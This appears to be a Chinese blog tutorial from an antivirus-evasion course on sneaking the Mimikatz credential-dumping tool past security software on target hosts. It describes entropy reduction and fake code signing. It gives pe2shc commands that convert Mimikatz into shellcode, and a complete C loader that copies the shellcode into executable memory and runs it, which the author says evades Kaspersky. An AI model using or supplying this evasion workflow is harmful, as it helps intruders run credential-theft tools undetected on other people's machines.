安全工具篇&MIMikatz&提权EXP&非源码修改方式&PE转ShellCode&融入加载

免杀对抗------第一百六十一天

安全工具篇&MIMikatz&提权EXP&非源码修改方式&PE转ShellCode&融入加载

前置知识

  • 来到免杀的最后一部分内容,之后这几讲针对的是一些安全工具的免杀,因为很多黑客工具(C2、nc、Mimikatz等)都会被杀软标记并查杀,所以这几节我们学习的就是如何让他们放到目标主机上不被干掉
  • 那我们和之前的ShellCode免杀一样,可以从如下两方面入手:
    1. 成品EXE
    2. 程序源代码
  • 因此首先我们需要分析的就是:
    1. 安全工具是否具有源代码
    2. 安全工具源代码逻辑的复杂程度
    3. 当前源代码你是否具有能力去修改
  • 然后我们还需要考虑:
    1. 如果没有源代码或者没有修改的能力怎么办
    2. 在修改的时候发生各种异常bug或者打包问题怎么办
    3. 修改重打包之后的免杀效果也不太好时怎么办
  • 那针对上面的这样一些情况,我们可以采用如下的两种方式去处理:
    • 非源码修改方式
      1. 直接对EXE程序加壳、加保护、签名、详细信息、熵等
      2. 转换为ShellCode然后利用加载器进行加载到内存上线
    • 源码修改方式
      1. 魔改源码打乱特征的方法重新定义工具
      2. 参考源码自己写一个同类工具
  • 那免杀的效果也是从上到下依次递增,当然难度也逐渐递增,本节课我们就以Mimikatz工具针对于第一种非源码修改方式去看看效果
  • mimikatz下载地址:gentilkiwi/mimikatz: A little tool to play with Windows security
  • 直接上传到目标主机直接就给杀了,火绒都过不了:

安全工具 - EXE处理-减少熵值&自签名&详细信息

  • 首先我们如果要直接对EXE成品文件进行免杀的话,根据之前的内容的就是减小熵值、加签名等等操作

  • 那所以直接用我们的工具Restorator进行操作:

  • 然后用我们的加签名工具Sign-Sacker加上签名:

  • 然后再放到目标主机上,会发现没有任何屁用,依旧被火绒给干掉了:

  • 根本原因就是因为源码没有改动,特征码被识别,但是这种方法针对360还是有一定用处的

  • 当然因为这里可以直接下载源码,所以我们可以将源码下载下来本地打包一下,有时候也能起到一定的免杀效果

  • 用VS打开,先尝试编译一下看能不能正常生成EXE文件,如果报错"Microsoft.CppBuild.targets(463,5): error MSB8020: 无法找到 v141_xp 的生成工具(平台工具集 ="v141_xp")..."的问题,那就在如下这几个文件夹中将所有.vcxproj文件中的v141_xp替换为自己的工具集版本,我这里是v143

  • 参考链接:https://www.cnblogs.com/xijiajia/p/16209248.html

  • 如果报错"Microsoft\VC\v170\Microsoft.CppBuild.targets(504,5): error MSB8041: 此项目需要 MFC 库...",那么打开Visual Studio Installer软件,点击修改下载红色框中选中的内容即可,参考解决链接:https://blog.51cto.com/u_15707179/12789442

  • 下载完成后打开VS选择项目属性,修改如下配置:

  • 之后生成项目即可编译成功,但是这个也是没有,依旧被查杀,所以第一种方式直接对成品EXE程序下手实现免杀是很难的

安全工具 - EXE处理-PE转ShellCode&加载分离混淆

  • 于是我们介绍第二种方式,既然直接对EXE修改没有效果,因为有特征码,那我们将该EXE转为二进制的形式,通过Loader加载到内存,像之前的ShellCode一样就可以尝试绕过特征码检测实现免杀
  • 这里我们可以用到这个工具进行转换:hasherezade/pe_to_shellcode: Converts PE into a shellcode
shell 复制代码
.\pe2shc.exe mimikatz mm.bin
  • 然后我们可以通过它自带的加载器加载:
shell 复制代码
.\runshc64.exe mm.bin
  • 但是吧,这个工具特征好像也有点明显了,这个mm.bin文件也会被直接杀掉,所以我们要么异或一下,要么换个工具
  • 这里我就直接换个工具了,也懒得写脚本了,新工具地址:Shellcode_Build
  • 当然,我们也不可能直接用它的这个加载器,因为它的这玩意也是被杀得不要不要的,这里我们就搬出之前的加载器用一用,或者让AI帮我们写一个:
c 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main() {
    // 1. 打开bin文件
    FILE* file = fopen("xx.bin", "rb");
    if (!file) {
        printf("无法打开文件 xx.bin\n");
        return 1;
    }

    // 2. 获取文件大小
    fseek(file, 0, SEEK_END);
    long fileSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    // 3. 分配内存
    unsigned char* buffer = (unsigned char*)malloc(fileSize);
    if (!buffer) {
        printf("内存分配失败\n");
        fclose(file);
        return 1;
    }

    // 4. 读取文件内容
    size_t bytesRead = fread(buffer, 1, fileSize, file);
    fclose(file);

    if (bytesRead != fileSize) {
        printf("文件读取不完整\n");
        free(buffer);
        return 1;
    }

    printf("成功加载 %zd 字节\n", bytesRead);

    // 5. 分配可执行内存
    void* execMem = VirtualAlloc(NULL, fileSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
    if (!execMem) {
        printf("无法分配可执行内存\n");
        free(buffer);
        return 1;
    }

    // 6. 将shellcode复制到可执行内存
    memcpy(execMem, buffer, fileSize);

    // 7. 执行shellcode
    printf("正在执行ShellCode...\n");
    ((void(*)())execMem)();

    // 8. 清理
    VirtualFree(execMem, 0, MEM_RELEASE);
    free(buffer);

    return 0;
}
  • 可以看到能够成功过掉卡巴,然后也能正常运行:

  • 所以以后如果需要上传一些工具到目标主机上时,可以使用这种方式去进行加载使用,目前看来效果其实还可以,因为我们之前的加载器免杀方式其实有很多,只需要对着改即可

相关推荐
王维同学16 小时前
[原创][Windows C++]LSA 认证、安全与通知包的注册表枚举
c++·windows·安全
茯苓gao16 小时前
嵌入式开发笔记:EtherCAT协议从硬件到软件完整配置指南——从零搭建一套EtherCAT通信系统
笔记·嵌入式硬件·学习
RD_daoyi17 小时前
外链权重暴跌至13%,品牌提及反超传统链接——2026年不做Digital PR,你的独立站等于隐形
运维·网络·学习·机器学习·搜索引擎
chase。18 小时前
【学习笔记】PointWorld:迈向通用机器人操控的3D世界模型
笔记·学习·机器人
国科安芯18 小时前
星间光链路:AS32S601型抗辐射MCU在空间激光通信终端控制中的技术实现
服务器·网络·单片机·嵌入式硬件·物联网·安全·信息与通信
栩栩云生18 小时前
AI 写代码犯的错,早被写进了错题集
linux·安全·ai编程
AOwhisky18 小时前
Python 学习笔记(第十三期)——运维自动化(下·前篇):远程命令执行——paramiko基础篇
运维·python·学习·云原生·自动化·运维开发·paramiko
前端世界19 小时前
MySQL 基础入门(学习第4天)——约束与 DML 操作详解
数据库·学习·mysql
dear_bi_MyOnly19 小时前
【SpringBoot配置文件】
java·spring boot·后端·学习·spring·java-ee·学习方法
AOwhisky19 小时前
Python 学习笔记(第十四期)——运维自动化(下·中篇):远程文件传输——paramiko进阶篇
运维·python·学习·云原生·自动化·文件传输·paramiko